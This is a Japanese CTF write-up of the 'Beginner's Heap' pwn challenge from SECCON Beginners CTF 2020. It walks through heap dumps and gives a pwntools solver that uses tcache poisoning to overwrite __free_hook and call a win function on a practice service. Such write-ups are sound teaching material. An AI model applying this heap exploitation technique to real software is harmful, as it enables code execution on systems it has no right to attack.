[pwn] Beginner's Heap (SECCON Beginners CTF 2020) writeup

---

- Source: Seccon Beginners CTF 2020
- Author: [ptr-yudai](https://x.com/ptrYudai)

---

配布ファイルはない。接続するとインターフェースが表示される。win関数を呼び出せば良いらしい。
```sh
$ nc localhost 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f35616e68e8
 <win>: 0x562194c01465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
>
```

A,Bへの書き込みとBのfreeが可能。また、現在のheapとtcacheの状態を確認できる。ヒントまで教えてくれるらしい。すごい。
```sh
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5621c6c8b330
 [+] B = (nil)

                   +--------------------+
0x00005621c6c8b320 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b328 | 0x0000000000000021 |
                   +--------------------+
0x00005621c6c8b330 | 0x0000000000000a61 | <-- A
                   +--------------------+
0x00005621c6c8b338 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b340 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b348 | 0x0000000000020cc1 |
                   +--------------------+
0x00005621c6c8b350 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b358 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b360 | 0x0000000000000000 |
                   +--------------------+
0x00005621c6c8b368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

Aへの書き込みではサイズ0x18のメモリを確保しているが、サイズ0x80の書き込みが可能なので自明なheap overflowがある。これを用いてwin関数を呼び出したい。

Bへ`AAAAAAAA`を書き込んだ後のheapの状態はこうなっている。
```sh
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5606d2447330
 [+] B = 0x5606d2447350

                   +--------------------+
0x00005606d2447320 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447328 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005606d2447338 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447340 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447348 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447350 | 0x4141414141414141 | <-- B
                   +--------------------+
0x00005606d2447358 | 0x000000000000000a |
                   +--------------------+
0x00005606d2447360 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

Bの直前の値が`0x21`に、`0x00005606d2447368`の値が`0x20ca1`に変化している。続いてBをfreeしてみる。この`0x21`はヒープのチャンクサイズを表している。
```sh
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5606d2447330
 [+] B = (nil)

                   +--------------------+
0x00005606d2447320 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447328 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005606d2447338 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447340 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447348 | 0x0000000000000021 |
                   +--------------------+
0x00005606d2447350 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447358 | 0x00005606d2447010 |
                   +--------------------+
0x00005606d2447360 | 0x0000000000000000 |
                   +--------------------+
0x00005606d2447368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
```

最初の状態に戻っておらず、`0x00005606d2447358`に何か保存されている。ここでtcacheを見てみる。

```sh
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055def00b7350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

`0x00005606d2447358`へ繋がっている。tcacheはfree listの一部（他にfastbinやunsorted binというものもあるが、mallocで一番最初に呼ばれるのはこのtcache binになる）で、一度freeしたチャンクの情報をキャッシュしているらしい。このあたりはあまり理解できていないが[このサイト](https://zenn.dev/anko/articles/ctf-heap-exploits)が詳しかった。

tcacheをheap overflowを用いて`__free_hook`のアドレスに書き換えてみる。`__free_hook`はhooksの一つで、freeした時に呼び出される。

一旦ここまでのscriptを書く。
```py
from pwn import *

context.log_level = "debug" 

p = remote("localhost", 9002)

p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)

# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")

# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x28) + p64(free_hook))

p.sendlineafter(">", "5")
print(p.recvall())
```

単純にAをoverflowさせるとBのチャンクサイズも壊れてしまうため、ヒントを見ながら良さげな値に調整する。0x28にすると`It seems __free_hook is successfully linked to tcache!\nAnd the chunk size is properly forged!\n`と言われた。

さて、この時点でtcacheの値はこうなっている。実行の度にアドレスの正確な値は変わるが、さっきのtcacheの末端に相当する`0x000055dc296dd350`を上書きしたことで、tcacheが`__free_hook`を示す`0x00007fe507f5a8e8`へ繋がっている。
```
    b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
    b'[    tcache (for 0x20)    ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[ 0x000055dc296dd350(rw-) ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[ 0x00007fe507f5a8e8(rw-) ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[      END OF TCACHE      ]\n'
    b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'
```

この状態で再度Bをmalloc、freeするとtcacheから1つpopし、tcacheの先頭は`__free_hook`になる…と思ったが、`free(): invalid size`と言われてしまった。Bの上書きしたチャンクサイズを0x28から0x30に変えてみる。

tcacheの先頭に`__free_hook`がいる。
```
    b'-=-=-=-=-= TCACHE -=-=-=-=-=\n'
    b'[    tcache (for 0x20)    ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[ 0x00007f77934308e8(rw-) ]\n'
    b'        ||\n'
    b'        \\/\n'
    b'[      END OF TCACHE      ]\n'
    b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n'
```

これで次にfreeした時に`__free_hook`が呼び出される。ここでB（実際は`__free_hook`の指し示す先）へwin関数のアドレスを書き込んでfreeするとwin関数が呼び出される。

最終的なsolverはこうなる。
```py
from pwn import *

context.log_level = "debug" 

p = remote("localhost", 9002)

p.recvuntil("<__free_hook>: ")
free_hook = int(p.recvline().strip(), 16)
p.recvuntil("<win>: ")
win = int(p.recvline().strip(), 16)

# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")

# heap overflow
p.sendlineafter(">", "1")
p.sendline(b"A"*0x18 + p64(0x30) + p64(free_hook))

# malloc and free
p.sendlineafter(">", "2")
p.sendline(b"A"*8)
p.sendlineafter(">", "3")

# call win
p.sendlineafter(">", "2")
p.sendline(p64(win))
p.sendlineafter(">", "3")

# print flag
p.recvuntil(">")
print(p.recvall())
```

flagが得られた。
`ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}`